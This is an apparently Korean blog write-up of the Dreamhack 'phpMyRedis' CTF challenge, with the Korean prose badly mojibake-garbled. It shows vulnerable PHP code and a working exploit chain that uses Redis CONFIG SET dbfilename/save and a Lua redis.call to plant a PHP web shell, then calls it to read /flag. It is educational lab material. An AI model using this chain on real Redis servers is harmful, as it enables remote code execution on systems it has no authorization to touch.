[2025-07-25] phpMyRedis
๐ฆฅ ๋ณธ๋ฌธ
- index.php
<?php
if(isset($_POST['cmd'])){
$redis = new Redis();
$redis->connect($REDIS_HOST);
$ret = json_encode($redis->eval($_POST['cmd']));
echo '<h1 class="subtitle">Result</h1>';
echo "<pre>$ret</pre>";
if (!array_key_exists('history_cnt', $_SESSION)) {
$_SESSION['history_cnt'] = 0;
}
$_SESSION['history_'.$_SESSION['history_cnt']] = $_POST['cmd'];
$_SESSION['history_cnt'] += 1;
if(isset($_POST['save'])){
$path = './data/'. md5(session_id());
$data = '> ' . $_POST['cmd'] . PHP_EOL . str_repeat('-',50) . PHP_EOL . $ret;
file_put_contents($path, $data);
echo "saved at : <a target='_blank' href='$path'>$path</a>";
}
}
?>
<?php
for($i=0; $i<$_SESSION['history_cnt']; $i++){
echo "<li>".$_SESSION['history_'.$i]."</li>";
}
?>
POST[โcmdโ]
- POST ์์ฒญ์ cmd ๊ฐ์ด ํฌํจ๋๋ฉด ์คํ
- ๋ ๋์ค๋ฅผ ์คํ.
$POST[โcmdโ]
๊ฐ์ ์คํ ์์ผ์ ๋ณด์ฌ์ค - ์ธ์
์
history_cnt
๊ฐ์ด ์๋ค๋ฉด 0์ผ๋ก ํ ๋น history_(history_cnt ๊ฐ)
์ผ๋ก$POST[โcmdโ]
๊ฐ์ ์ ์ฅ- ์ ์ฅ ํ
history_cnt
๊ฐ 1 ์ฆ๊ฐ - history_0, history_1โฆ ํํ๋ก ์ ์ฅ
- ์ ์ฅ ํ
POST[โsaveโ]
- POST ์์ฒญ์ save ๊ฐ์ด ํฌํจ๋๋ฉด ์คํ
-
./data/ ํด๋ ์๋์ ์ธ์ ID๋ฅผ ํด์ฌ ํจ์๋ฅผ ํตํด ํด์ฑํ์ฌ ํ์ผ๋ช ์ผ๋ก ํ์ผ ์ ์ฅ. ์๋์ ๊ฐ์ด ์ ์ฅ
> $POST[โcmdโ] ๊ฐ ------------------------------------- $POST[โcmdโ] ๋ช ๋ น์ด ์คํ ๊ฒฐ๊ณผ
-
์ ์ฅ๋ ํ์ผ ๋งํฌ ์ถ๋ ฅ
- config.php
<?php
if(isset($_POST['option'])){
$redis = new Redis();
$redis->connect($REDIS_HOST);
if($_POST['option'] == 'GET'){
$ret = json_encode($redis->config($_POST['option'], $_POST['key']));
}elseif($_POST['option'] == 'SET'){
$ret = $redis->config($_POST['option'], $_POST['key'], $_POST['value']);
}else{
die('error !');
}
echo '<h1 class="subtitle">Result</h1>';
echo "<pre>$ret</pre>";
}
?>
POST[โoptionโ]
- POST ์์ฒญ์ option ๊ฐ์ด ํฌํจ๋๋ฉด ์คํ
- ๋ ๋์ค ์คํ.
- ์ฌ์ฉ์๊ฐ ๋ณด๋ธ ๊ฐ์ด GET์ธ ๊ฒฝ์ฐ์
redis.config()
์คํ- CONFIG GET
$_POST['key']
๊ฐ ์คํ - ์ฆ ์ค์ ์ค
$_POST['key']
๊ฐ์ ์กฐํ
- CONFIG GET
- ์ฌ์ฉ์๊ฐ ๋ณด๋ธ ๊ฐ์ด SET์ธ ๊ฒฝ์ฐ
- CONFIG SET
$_POST['key']
๊ฐ,$_POST['value']
๊ฐ ์คํ - ์ฆ ์ค์ ์ค์
$_POST['key']
๊ฐ์ ํค๋ก ๊ฐ์ง๊ณ$_POST['value']
๊ฐ์ value๋ก ๊ฐ๋ ์๋ก์ด ์ค์ ์ ๋ ฅ
- CONFIG SET
- ์์ ๋ช ๋ น์ด๋ฅผ ์คํํ ๊ฒฐ๊ณผ๊ฐ์ ์ถ๋ ฅ
ํ โฆ ์ฝ๋ ์ดํดํ๋ ๋ฐ๋ง ํ์ฐธ ๊ฑธ๋ ธ๋ค. ์ง๊ธ ์๊ฐํ๋ ํฐ ๋์ ํ๋ฆ์ ์ด๋ฌํ๋ค
-
config.php์์ CONFIG SET ์ ํตํด์ ํ์ผ ๊ฒฝ๋ก์ ํ์ผ๋ช ์ ์ค์ ํ๋ค.
CONFIG SET dir /tmp CONFIG SET dbfilename hack.php
-
index.php์์ $POST[โcmdโ]์ $POST[โsaveโ]๋ฅผ ํตํด
SET ํค ๊ฐ "<?php system($_GET['cmd']); ?>" SAVE
์์ ์ฝ๋๋ฅผ ์คํ ์ํค๊ณ ์ ์ฅํ๋ค.
-
์ ์ฅ๋ ์์น์์ php๋ฅผ ์คํ์์ผ์ ์น์์ ์คํ์์ผ์ ์ทจ์ฝ์ ์ ํ์ํ๋ค.
์ค์ ํ ํ์ผ ๊ฒฝ๋ก์ ์๋ php ํ์ผ์ ์คํ์ํจ๋ค.
๊ทผ๋ฐ 2๋ฒ๊ณผ ๊ฐ์ ์ฝ๋๋ฅผ ์ง์ ์ ๋ ฅํ๋ฉด false๊ฐ ์ถ๋ ฅ. ์ฆ ์คํํ๋ ๋ฐ ์คํจํ๋ค
โ eval()์ ์ธ์๋ lua ์คํฌ๋ฆฝํธ๋ฅผ ์คํ์ํค๋ ์ฉ๋์ด๋ฏ๋ก ๋ค๋ฅธ ๋ฐฉ์์ผ๋ก ์ ๋ฌ
โ return redis.call("set", "test", "<?php system($_GET['cmd']); ?>");
๋ง์ฐฌ๊ฐ์ง๋ก return redis.call(โSAVEโ)๋ฅผ ์ ๋ ฅํ๋ ๋ฐ false ๊ฐ ์ถ๋ ฅ๋๋ค
โ SAVE๋ lua ์คํฌ๋ฆฝํธ๋ก ์คํ์ด ๋ถ๊ฐํ๊ณ ์ง์ ํธ์ถํด์ผ ํ๋ค($redis->save();)
์ธ์ด๋ธ๋ง ์ํค๋ฉด ๋๋๋ฐโฆ
md5()๊ฐ ์ธ์ ID๋ก ํด์ฑ์ ํ๋ ๋ฐ ์ธ์ ID๋ฅผ ์กฐ์ํ์ฌ ํ์ผ๋ช ์ ๋ณ๊ฒฝํ ์ ์๊ฒ ํ๋ฉด ์ด๋จ๊น๋ผ๋ ๋ฐ์นํ ์์์ ํด๋ดค๋ค. ํ์ง๋ง md5()๊ฐ ๋จ๋ฐฉํฅ ํด์ฑ์ด๊ณ 32์๋ฆฌ 16์ง์ ํด์ฑ์ ํ๊ธฐ ๋๋ฌธ์ ๋ชปํ๋ค๋ gpt์ ์๊ฒฌ์ด ์์๋ค.
์โฆ Config Set์์ ์ ์ฅ ์ฃผ๊ธฐ๋ฅผ ์ ํ ์ ์๋ ๊ฒ์ด์๋คโฆโฆ.
ํ์ด
-
config.php์์ CONFIG SET ์ ํตํด์ ํ์ผ ๊ฒฝ๋ก์ ํ์ผ๋ช , ์ ์ฅ ์ฃผ๊ธฐ๋ฅผ ์ค์ ํ๋ค.
CONFIG GET dir // ํ์ฌ ์ ์ฅ ๊ฒฝ๋ก ์กฐํ CONFIG SET dbfilename hack.php CONFIG SET save 10 1 // save ๋ช ์ด์์ ๋ช ๊ฐ๊ฐ ์๊ฒจ์ผ ์ ์ฅ -> 10์ด ๋ด 1๊ฐ
-
index.php์์ $POST[โcmdโ]์ $POST[โsaveโ]๋ฅผ ํตํด
return redis.call("set", "test", "<?php system($_GET['cmd']); ?>");
์์ ์ฝ๋๋ฅผ ์คํ ์ํค๊ณ ์ ์ฅํ๋ค.
-
์ ์ฅ๋ ์์น์์ php๋ฅผ ์คํ์์ผ์ ์น์์ ์คํ์์ผ์ ์ทจ์ฝ์ ์ ํ์ํ๋ค.
- http://host3.dreamhack.games:9158//hack.php?cmd=/flag
Leave a comment